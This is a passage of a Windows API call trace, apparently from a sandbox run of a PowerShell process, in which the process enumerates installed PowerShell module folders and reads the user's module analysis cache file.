"c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0084.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0084.815] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0084.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0084.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0084.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.816] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0084.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0084.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0084.817] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0084.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.817] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0084.818] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0084.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec24) returned 1 [0084.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x843eca0 | out: lpFileInformation=0x843eca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec20) returned 1 [0084.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0084.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0084.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6c08 [0084.819] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.819] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0084.819] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0084.819] FindClose (in: hFindFile=0x75c6c08 | out: hFindFile=0x75c6c08) returned 1 [0084.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec50) returned 1 [0084.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec5c) returned 1 [0084.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0084.819] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0084.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec28) returned 1 [0084.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x843eca4 | out: lpFileInformation=0x843eca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0084.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec24) returned 1 [0084.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0084.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0084.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x8a [0084.822] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", nBufferLength=0x8a, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1", lpFilePart=0x0) returned 0x89 [0084.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec4c) returned 1 [0084.822] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1"), fInfoLevelId=0x0, lpFileInformation=0x5260730 | out: lpFileInformation=0x5260730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614)) returned 1 [0084.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843ec48) returned 1 [0084.823] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x843dcb8, nSize=0xc3 | out: lpBuffer="踠ܼ囤׽?ࡃ狖၀滸က滸က滸᝖狯ꔑ肞က滸漃\x01耀踠ܼ踠ܼ銈ܷࡃ獔瀤\x02") returned 0x0 [0084.823] CoTaskMemAlloc (cb=0x20c) returned 0x7454778 [0084.824] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x7454778 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x0 [0084.824] CoTaskMemFree (pv=0x7454778) [0084.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1e [0084.824] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local", nBufferLength=0x1e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local", lpFilePart=0x0) returned 0x1d [0084.824] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x20 [0084.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0084.825] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0084.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e458) returned 1 [0084.825] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0084.825] GetFileType (hFile=0x850) returned 0x1 [0084.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e454) returned 1 [0084.825] GetFileType (hFile=0x850) returned 0x1 [0084.825] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4cc, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4cc*=0x1000, lpOverlapped=0x0) returned 1 [0084.834] ReadFile (in: hFile=0x850, lpBuffer=0x52614b1, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614b1*, lpNumberOfBytesRead=0x843e4d4*=0x4, lpOverlapped=0x0) returned 1 [0084.834] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.834] ReadFile (in: hFile=0x850, lpBuffer=0x52614b2, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614b2*, lpNumberOfBytesRead=0x843e4d4*=0x9, lpOverlapped=0x0) returned 1 [0084.834] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.835] ReadFile (in: hFile=0x850, lpBuffer=0x52614b3, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614b3*, lpNumberOfBytesRead=0x843e4d4*=0x5, lpOverlapped=0x0) returned 1 [0084.835] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.835] ReadFile (in: hFile=0x850, lpBuffer=0x52614c5, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614c5*, lpNumberOfBytesRead=0x843e4d4*=0x5, lpOverlapped=0x0) returned 1 [0084.835] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.835] ReadFile (in: hFile=0x850, lpBuffer=0x52614c4, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614c4*, lpNumberOfBytesRead=0x843e4d4*=0x6, lpOverlapped=0x0) returned 1 [0084.835] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.836] ReadFile (in: hFile=0x850, lpBuffer=0x52614c5, nNumberOfBytesToRead=0x3a, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614c5*, lpNumberOfBytesRead=0x843e4d4*=0x3a, lpOverlapped=0x0) returned 1 [0084.836] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.836] ReadFile (in: hFile=0x850, lpBuffer=0x52614be, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614be*, lpNumberOfBytesRead=0x843e4d4*=0x3, lpOverlapped=0x0) returned 1 [0084.836] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.836] ReadFile (in: hFile=0x850, lpBuffer=0x52614b1, nNumberOfBytesToRead=0xe, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614b1*, lpNumberOfBytesRead=0x843e4d4*=0xe, lpOverlapped=0x0) returned 1 [0084.836] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.848] ReadFile (in: hFile=0x850, lpBuffer=0x52614af, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x843e4c0, lpOverlapped=0x0 | out: lpBuffer=0x52614af*, lpNumberOfBytesRead=0x843e4c0*=0x1, lpOverlapped=0x0) returned 1 [0084.849] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.849] ReadFile (in: hFile=0x850, lpBuffer=0x52614b0, nNumberOfBytesToRead=0x12, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614b0*, lpNumberOfBytesRead=0x843e4d4*=0x12, lpOverlapped=0x0) returned 1 [0084.849] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0x1000, lpOverlapped=0x0) returned 1 [0084.849] ReadFile (in: hFile=0x850, lpBuffer=0x52614be, nNumberOfBytesToRead=0x3, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52614be*, lpNumberOfBytesRead=0x843e4d4*=0x3, lpOverlapped=0x0) returned 1 [0084.849] ReadFile (in: hFile=0x850, lpBuffer=0x52618d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e4d4, lpOverlapped=0x0 | out: lpBuffer=0x52618d4*, lpNumberOfBytesRead=0x843e4d4*=0xd4c, lpOverlapped=0x0) returned 1 [0084.850] GetEnvironmentVariableW (in: lpName="PSDisableModuleAnalysisCacheCleanup", lpBuffer=0x843e338, nSize=0xc3 | out: lpBuffer="\x18") returned 0x0 [0084.850] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x843e47c | out: UnbiasedTime=0x843e47c) returned 1 [0084.903] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x843e46c | out: UnbiasedTime=0x843e46c) returned 1 [0084.904] CloseHandle (hObject=0x850) returned 1 [0084.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psd1")) returned 0xffffffff [0084.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.psm1")) returned 0xffffffff [0084.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.cdxml")) returned 0xffffffff [0084.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.xaml")) returned 0xffffffff [0084.904] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.ni.dll")) returned 0xffffffff [0084.905] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\Microsoft.PowerShell.Operation.Validation.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\microsoft.powershell.operation.validation.dll")) returned 0xffffffff [0084.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843ec94) returned 1 [0084.905] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0084.905] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0084.905] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x843e9bc | out: lpFindFileData=0x843e9bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x75c6c08 [0084.905] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.905] FindNextFileW (in: hFindFile=0x75c6c08, lpFindFileData=0x843e9c8 | out: lpFindFileData=0x843e9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, 